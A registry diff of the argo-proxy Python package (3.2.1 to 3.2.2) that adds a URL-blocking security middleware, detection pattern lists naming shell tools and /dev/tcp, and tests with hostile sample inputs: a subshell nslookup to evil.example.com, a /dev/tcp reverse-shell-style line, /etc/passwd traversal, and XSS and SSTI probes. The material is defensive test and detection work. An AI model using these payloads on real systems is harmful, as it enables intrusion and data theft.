argo-proxy 3.2.1__tar.gz → 3.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (48) hide show
  1. {argo_proxy-3.2.1/src/argo_proxy.egg-info → argo_proxy-3.2.2}/PKG-INFO +1 -1
  2. {argo_proxy-3.2.1 → argo_proxy-3.2.2/src/argo_proxy.egg-info}/PKG-INFO +1 -1
  3. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/SOURCES.txt +1 -0
  4. argo_proxy-3.2.2/src/argoproxy/__init__.py +1 -0
  5. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/app.py +5 -1
  6. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dispatch.py +2 -4
  7. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/passthrough.py +4 -0
  8. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/models.py +2 -0
  9. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/attack_logger.py +157 -2
  10. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/misc.py +10 -0
  11. argo_proxy-3.2.2/tests/test_security_middleware.py +161 -0
  12. argo_proxy-3.2.1/src/argoproxy/__init__.py +0 -1
  13. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/LICENSE +0 -0
  14. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/README.md +0 -0
  15. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/pyproject.toml +0 -0
  16. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/setup.cfg +0 -0
  17. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/dependency_links.txt +0 -0
  18. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/entry_points.txt +0 -0
  19. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/requires.txt +0 -0
  20. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/top_level.txt +0 -0
  21. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/__init__.py +0 -0
  22. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/semver.py +0 -0
  23. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/yaml.py +0 -0
  24. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/__init__.py +0 -0
  25. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/display.py +0 -0
  26. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/handlers.py +0 -0
  27. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/parser.py +0 -0
  28. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/__init__.py +0 -0
  29. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/interactive.py +0 -0
  30. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/io.py +0 -0
  31. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/model.py +0 -0
  32. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/validation.py +0 -0
  33. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dev_proxy.py +0 -0
  34. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/extras.py +0 -0
  35. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/performance.py +0 -0
  36. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/py.typed +0 -0
  37. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/image_processing.py +0 -0
  38. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/logging.py +0 -0
  39. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/models.py +0 -0
  40. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/transports.py +0 -0
  41. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_chat_completions.py +0 -0
  42. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_embeddings.py +0 -0
  43. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_function_calling_multiple.py +0 -0
  44. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_function_calling_single.py +0 -0
  45. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_leaked_tool_parser.py +0 -0
  46. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_model_resolution.py +0 -0
  47. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/tests/test_config_migrate.py +0 -0
  48. {argo_proxy-3.2.1 → argo_proxy-3.2.2}/tests/test_unix_socket.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: argo-proxy
3
- Version: 3.2.1
3
+ Version: 3.2.2
4
4
  Summary: Proxy server to Argo API, OpenAI format compatible
5
5
  Author-email: Peng Ding <oaklight@gmx.com>
6
6
  License-Expression: MIT
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: argo-proxy
3
- Version: 3.2.1
3
+ Version: 3.2.2
4
4
  Summary: Proxy server to Argo API, OpenAI format compatible
5
5
  Author-email: Peng Ding <oaklight@gmx.com>
6
6
  License-Expression: MIT
@@ -41,4 +41,5 @@ test/test_function_calling_single.py
41
41
  test/test_leaked_tool_parser.py
42
42
  test/test_model_resolution.py
43
43
  tests/test_config_migrate.py
44
+ tests/test_security_middleware.py
44
45
  tests/test_unix_socket.py
@@ -0,0 +1 @@
1
+ __version__ = "3.2.2"
@@ -19,6 +19,7 @@ from .performance import (
19
19
  OptimizedHTTPSession,
20
20
  get_performance_config,
21
21
  )
22
+ from .utils.attack_logger import security_middleware
22
23
  from .utils.logging import log_debug, log_error, log_info, log_warning
23
24
 
24
25
 
@@ -320,7 +321,10 @@ def create_app():
320
321
  # Set client_max_size to 100MB to handle large image payloads from remote clients
321
322
  # Users may send images larger than the gateway's 20MB limit; argo-proxy will
322
323
  # compress them before forwarding. Default aiohttp limit is 1MB which is too small.
323
- app = web.Application(client_max_size=100 * 1024 * 1024)
324
+ app = web.Application(
325
+ client_max_size=100 * 1024 * 1024,
326
+ middlewares=[security_middleware],
327
+ )
324
328
  app.on_startup.append(prepare_app)
325
329
  app.on_shutdown.append(cleanup_app)
326
330
 
@@ -27,6 +27,7 @@ from llm_rosetta.shims.providers import load_providers
27
27
  from ..config import ArgoConfig
28
28
  from ..models import ModelRegistry
29
29
  from ..utils.image_processing import process_anthropic_images, process_openai_images
30
+ from ..utils.misc import build_user_agent
30
31
  from ..utils.logging import (
31
32
  clear_request_user,
32
33
  log_converted_request,
@@ -288,10 +289,7 @@ def _build_upstream_headers(
288
289
  """Build HTTP headers for the upstream API request."""
289
290
  headers: dict[str, str] = {"Content-Type": "application/json"}
290
291
 
291
- # Pass through client's User-Agent to upstream (transparent proxy)
292
- client_ua = request.headers.get("User-Agent")
293
- if client_ua:
294
- headers["User-Agent"] = client_ua
292
+ headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
295
293
 
296
294
  if should_use_username_passthrough():
297
295
  api_key = _extract_client_credential(request, target_provider) or fallback_user
@@ -13,6 +13,7 @@ from aiohttp import web
13
13
 
14
14
  from ..config import ArgoConfig
15
15
  from ..models import ModelRegistry
16
+ from ..utils.misc import build_user_agent
16
17
  from ..utils.logging import (
17
18
  log_converted_request,
18
19
  log_debug,
@@ -67,6 +68,9 @@ async def proxy_embeddings_request(
67
68
  upstream_url = f"{config.native_openai_base_url}/embeddings"
68
69
 
69
70
  headers = {"Content-Type": "application/json"}
71
+
72
+ headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
73
+
70
74
  if "Authorization" in request.headers:
71
75
  headers["Authorization"] = request.headers["Authorization"]
72
76
 
@@ -13,6 +13,7 @@ from tqdm.asyncio import tqdm_asyncio
13
13
 
14
14
  from .config import ArgoConfig, _get_yes_no_input_with_timeout
15
15
  from .utils.logging import log_debug, log_error, log_info, log_warning
16
+ from .utils.misc import build_user_agent
16
17
  from .utils.transports import validate_api_async
17
18
 
18
19
  DEFAULT_TIMEOUT = 30
@@ -309,6 +310,7 @@ async def get_upstream_model_list_async(
309
310
  async with aiohttp.ClientSession(
310
311
  connector=connector,
311
312
  timeout=client_timeout,
313
+ headers={"User-Agent": build_user_agent()},
312
314
  ) as session:
313
315
  log_debug(f"Sending request to: {url}", context="models")
314
316
 
@@ -4,6 +4,7 @@ This module provides functionality to:
4
4
  1. Log attack attempts with concise warning messages
5
5
  2. Save detailed attack information to files for analysis
6
6
  3. Organize logs by date in a dedicated directory
7
+ 4. Block malicious requests at the application level via middleware
7
8
  """
8
9
 
9
10
  import gzip
@@ -13,6 +14,9 @@ import traceback
13
14
  from datetime import datetime
14
15
  from pathlib import Path
15
16
  from typing import Any
17
+ from urllib.parse import unquote
18
+
19
+ from aiohttp import web
16
20
 
17
21
  from .logging import log_warning
18
22
 
@@ -31,7 +35,11 @@ class AttackLogger:
31
35
  enabled: Whether attack logging is enabled.
32
36
  """
33
37
 
34
- # Known attack patterns for classification
38
+ # Broadest pattern set — used to classify attack type from raw request data.
39
+ # Includes generic terms (nslookup, curl, wget) that would false-positive in
40
+ # URL matching but are fine for post-hoc classification of parser-rejected requests.
41
+ # See also: AttackFilter.ATTACK_PATTERNS (log filter) and _REQUEST_ATTACK_PATTERNS
42
+ # (middleware) — each has a narrower scope suited to its context.
35
43
  ATTACK_TYPES = {
36
44
  "struts2_ognl": [
37
45
  "xwork.MethodAccessor.denyMethodExecution",
@@ -66,6 +74,19 @@ class AttackLogger:
66
74
  "onerror=",
67
75
  "onload=",
68
76
  ],
77
+ "command_injection": [
78
+ "$(",
79
+ "/bin/bash",
80
+ "/bin/sh",
81
+ "/bin/zsh",
82
+ "cmd.exe",
83
+ "powershell",
84
+ "/dev/tcp/",
85
+ "/dev/udp/",
86
+ "nslookup ",
87
+ "curl ",
88
+ "wget ",
89
+ ],
69
90
  }
70
91
 
71
92
  def __init__(self, config_path: Path | None = None):
@@ -205,7 +226,10 @@ class AttackFilter(logging.Filter):
205
226
  "http_exceptions",
206
227
  ]
207
228
 
208
- # Attack payload patterns
229
+ # Subset of patterns matched against aiohttp parser exception text.
230
+ # Narrower than ATTACK_TYPES — only patterns that actually appear in parser
231
+ # error messages. See also: ATTACK_TYPES (classifier) and
232
+ # _REQUEST_ATTACK_PATTERNS (middleware).
209
233
  ATTACK_PATTERNS = [
210
234
  # Struts2 OGNL
211
235
  "xwork.MethodAccessor",
@@ -219,6 +243,12 @@ class AttackFilter(logging.Filter):
219
243
  "${{",
220
244
  "${#",
221
245
  "%24%7B",
246
+ # Command injection
247
+ "$(",
248
+ "/bin/bash",
249
+ "/bin/sh",
250
+ "/dev/tcp/",
251
+ "/dev/udp/",
222
252
  ]
223
253
 
224
254
  def __init__(self, attack_logger: AttackLogger):
@@ -306,6 +336,131 @@ class AttackFilter(logging.Filter):
306
336
  return "unknown"
307
337
 
308
338
 
339
+ # ---------------------------------------------------------------------------
340
+ # Request-level security middleware
341
+ # ---------------------------------------------------------------------------
342
+
343
+ # Strictest pattern set — checked against URL-decoded path + query string on
344
+ # every inbound request. Only high-confidence indicators that are unlikely to
345
+ # appear in legitimate LLM API URLs. All patterns must be lowercase (the URL
346
+ # is lowercased before matching). See also: ATTACK_TYPES (classifier) and
347
+ # AttackFilter.ATTACK_PATTERNS (log filter) for the broader lists.
348
+ _REQUEST_ATTACK_PATTERNS: dict[str, list[str]] = {
349
+ "command_injection": [
350
+ "$(", # bash subshell: $(cmd)
351
+ # Backtick command substitution — most aggressive single-char pattern.
352
+ # Extremely rare in legitimate LLM API URLs; check here first on false positives.
353
+ "`",
354
+ "/bin/bash",
355
+ "/bin/sh",
356
+ "/bin/zsh",
357
+ "cmd.exe",
358
+ "powershell",
359
+ "/dev/tcp/",
360
+ "/dev/udp/",
361
+ # nslookup/curl/wget are in ATTACK_TYPES for classification but intentionally
362
+ # excluded here — too generic for URL matching and would cause false positives.
363
+ ],
364
+ "struts2_ognl": [
365
+ "xwork.methodaccessor",
366
+ "_memberaccess",
367
+ "allowstaticmethodaccess",
368
+ "java.lang.runtime",
369
+ "org.apache.struts2",
370
+ ],
371
+ "directory_traversal": [
372
+ "././././",
373
+ "../../../", # requires 3+ levels to avoid false positives on relative paths
374
+ ],
375
+ "ssti_probe": [
376
+ "${{",
377
+ "${#",
378
+ ],
379
+ "xss_probe": [
380
+ "<script>",
381
+ "javascript:",
382
+ ],
383
+ }
384
+
385
+
386
+ def _decode_url(raw: str) -> str:
387
+ """URL-decode a string, applying up to 2 rounds to catch double-encoding.
388
+
389
+ Args:
390
+ raw: Raw URL string.
391
+
392
+ Returns:
393
+ Decoded string.
394
+ """
395
+ # Two passes to catch double-encoded payloads like %2524%2528 -> %24%28 -> $(
396
+ return unquote(unquote(raw))
397
+
398
+
399
+ def _detect_request_attack(url_decoded: str) -> str | None:
400
+ """Check a decoded URL string against request-level attack patterns.
401
+
402
+ Args:
403
+ url_decoded: URL-decoded path + query string.
404
+
405
+ Returns:
406
+ Attack type string if matched, None otherwise.
407
+ """
408
+ url_lower = url_decoded.lower()
409
+ # Patterns are lowercase literals — no need to call .lower() on them.
410
+ for attack_type, patterns in _REQUEST_ATTACK_PATTERNS.items():
411
+ for pattern in patterns:
412
+ if pattern in url_lower:
413
+ return attack_type
414
+ return None
415
+
416
+
417
+ @web.middleware
418
+ async def security_middleware(
419
+ request: web.Request,
420
+ handler,
421
+ ) -> web.StreamResponse:
422
+ """Application-level middleware that blocks requests with malicious payloads.
423
+
424
+ This complements the AttackFilter (which catches parser-level errors) by
425
+ inspecting syntactically valid HTTP requests before they reach handlers.
426
+ The URL path and query string are URL-decoded before pattern matching.
427
+
428
+ Args:
429
+ request: The incoming aiohttp request.
430
+ handler: The next handler in the middleware chain.
431
+
432
+ Returns:
433
+ A 403 response if an attack is detected, otherwise the handler response.
434
+ """
435
+ # Decode and inspect path + query string
436
+ raw_url = request.path_qs
437
+ decoded_url = _decode_url(raw_url)
438
+ attack_type = _detect_request_attack(decoded_url)
439
+
440
+ if attack_type is not None:
441
+ # Extract remote IP
442
+ peername = (
443
+ request.transport.get_extra_info("peername") if request.transport else None
444
+ )
445
+ remote_ip = peername[0] if peername else request.remote or "unknown"
446
+
447
+ # Log via AttackLogger
448
+ attack_logger = get_attack_logger()
449
+ attack_logger.log_attack(
450
+ remote_ip=remote_ip,
451
+ raw_request=f"{request.method} {raw_url}",
452
+ error_type="blocked_by_middleware",
453
+ error_message=f"Request blocked: {attack_type} pattern in URL",
454
+ )
455
+
456
+ return web.json_response(
457
+ {"error": "Forbidden"},
458
+ status=403,
459
+ )
460
+
461
+ return await handler(request)
462
+
463
+
309
464
  # Global attack logger instance
310
465
  _attack_logger: AttackLogger | None = None
311
466
 
@@ -224,3 +224,13 @@ def check_response_for_argo_warning(
224
224
  """
225
225
  text = extract_text_from_response(response_data, provider)
226
226
  return contains_argo_auth_warning(text)
227
+
228
+
229
+ def build_user_agent(client_ua: str | None = None) -> str:
230
+ """Build a User-Agent string identifying argo-proxy, optionally appended to a client UA."""
231
+ from .. import __version__
232
+
233
+ proxy_ua = f"argo-proxy/{__version__}"
234
+ if client_ua:
235
+ return f"{client_ua} {proxy_ua}"
236
+ return proxy_ua
@@ -0,0 +1,161 @@
1
+ """Tests for the request-level security middleware.
2
+
3
+ Verifies that malicious payloads in URLs are blocked before reaching handlers,
4
+ while legitimate requests pass through.
5
+ """
6
+
7
+ from aiohttp import web
8
+ from aiohttp.test_utils import AioHTTPTestCase
9
+
10
+ from argoproxy.utils.attack_logger import security_middleware
11
+
12
+
13
+ async def _ok_handler(request: web.Request) -> web.Response:
14
+ """Simple handler that returns 200 OK."""
15
+ return web.json_response({"status": "ok"})
16
+
17
+
18
+ def _create_test_app() -> web.Application:
19
+ """Create a minimal app with security middleware and a catch-all route."""
20
+ app = web.Application(middlewares=[security_middleware])
21
+ app.router.add_route("*", "/{path:.*}", _ok_handler)
22
+ return app
23
+
24
+
25
+ # ---------------------------------------------------------------------------
26
+ # Legitimate requests — should pass through (200)
27
+ # ---------------------------------------------------------------------------
28
+
29
+
30
+ class TestLegitimateRequests(AioHTTPTestCase):
31
+ """Ensure normal API traffic is not blocked."""
32
+
33
+ async def get_application(self):
34
+ return _create_test_app()
35
+
36
+ async def test_normal_api_path(self):
37
+ resp = await self.client.get("/api/v1/models")
38
+ assert resp.status == 200
39
+
40
+ async def test_normal_query_params(self):
41
+ resp = await self.client.get("/api/chat?model=gpt-4&stream=true")
42
+ assert resp.status == 200
43
+
44
+ async def test_json_post(self):
45
+ resp = await self.client.post(
46
+ "/v1/chat/completions",
47
+ json={"model": "gpt-4", "messages": [{"role": "user", "content": "hello"}]},
48
+ )
49
+ assert resp.status == 200
50
+
51
+ async def test_health_check(self):
52
+ resp = await self.client.get("/health")
53
+ assert resp.status == 200
54
+
55
+ async def test_well_known(self):
56
+ resp = await self.client.get("/.well-known/jwks.json")
57
+ assert resp.status == 200
58
+
59
+
60
+ # ---------------------------------------------------------------------------
61
+ # Command injection — should be blocked (403)
62
+ # ---------------------------------------------------------------------------
63
+
64
+
65
+ class TestCommandInjection(AioHTTPTestCase):
66
+ """Verify command injection payloads are blocked."""
67
+
68
+ async def get_application(self):
69
+ return _create_test_app()
70
+
71
+ async def test_subshell_in_query(self):
72
+ """The exact payload from the Nessus scan."""
73
+ resp = await self.client.get(
74
+ '/api/getServices?name[]=$(/bin/bash -c "nslookup evil.example.com")'
75
+ )
76
+ assert resp.status == 403
77
+
78
+ async def test_bash_devtcp_in_query(self):
79
+ """Reverse shell via /dev/tcp."""
80
+ resp = await self.client.get(
81
+ '/api/getServices?name[]=$(bash -c "echo pwned >/dev/tcp/1.2.3.4/4444")'
82
+ )
83
+ assert resp.status == 403
84
+
85
+ async def test_backtick_injection(self):
86
+ resp = await self.client.get("/api/search?q=`id`")
87
+ assert resp.status == 403
88
+
89
+ async def test_url_encoded_subshell(self):
90
+ """URL-encoded $( should be decoded and caught."""
91
+ resp = await self.client.get("/api/search?q=%24%28id%29")
92
+ assert resp.status == 403
93
+
94
+ async def test_double_encoded_subshell(self):
95
+ """Double URL-encoded $( should still be caught."""
96
+ resp = await self.client.get("/api/search?q=%2524%2528id%2529")
97
+ assert resp.status == 403
98
+
99
+ async def test_bin_sh_in_query(self):
100
+ resp = await self.client.get("/api/run?cmd=/bin/sh+-c+id")
101
+ assert resp.status == 403
102
+
103
+ async def test_powershell_in_query(self):
104
+ resp = await self.client.get("/api/run?cmd=powershell+-enc+base64payload")
105
+ assert resp.status == 403
106
+
107
+ async def test_cmd_exe_in_query(self):
108
+ resp = await self.client.get("/api/run?cmd=cmd.exe+/c+dir")
109
+ assert resp.status == 403
110
+
111
+
112
+ # ---------------------------------------------------------------------------
113
+ # Other attack types — should be blocked (403)
114
+ # ---------------------------------------------------------------------------
115
+
116
+
117
+ class TestOtherAttackTypes(AioHTTPTestCase):
118
+ """Verify other attack patterns are blocked at request level."""
119
+
120
+ async def get_application(self):
121
+ return _create_test_app()
122
+
123
+ async def test_directory_traversal_in_query(self):
124
+ resp = await self.client.get("/api/file?path=../../../etc/passwd")
125
+ assert resp.status == 403
126
+
127
+ async def test_struts2_ognl(self):
128
+ resp = await self.client.get(
129
+ "/api?class.module.classLoader.URLs%5B0%5D=java.lang.Runtime"
130
+ )
131
+ assert resp.status == 403
132
+
133
+ async def test_ssti_probe(self):
134
+ resp = await self.client.get("/api/search?q=${{7*7}}")
135
+ assert resp.status == 403
136
+
137
+ async def test_xss_script_tag(self):
138
+ resp = await self.client.get("/api/search?q=<script>alert(1)</script>")
139
+ assert resp.status == 403
140
+
141
+ async def test_xss_javascript_proto(self):
142
+ resp = await self.client.get("/api/redirect?url=javascript:alert(1)")
143
+ assert resp.status == 403
144
+
145
+
146
+ # ---------------------------------------------------------------------------
147
+ # Response format
148
+ # ---------------------------------------------------------------------------
149
+
150
+
151
+ class TestResponseFormat(AioHTTPTestCase):
152
+ """Verify the blocked response format."""
153
+
154
+ async def get_application(self):
155
+ return _create_test_app()
156
+
157
+ async def test_blocked_response_body(self):
158
+ resp = await self.client.get('/api/getServices?name[]=$(/bin/bash -c "whoami")')
159
+ assert resp.status == 403
160
+ body = await resp.json()
161
+ assert body == {"error": "Forbidden"}
@@ -1 +0,0 @@
1
- __version__ = "3.2.1"
File without changes
File without changes
File without changes
File without changes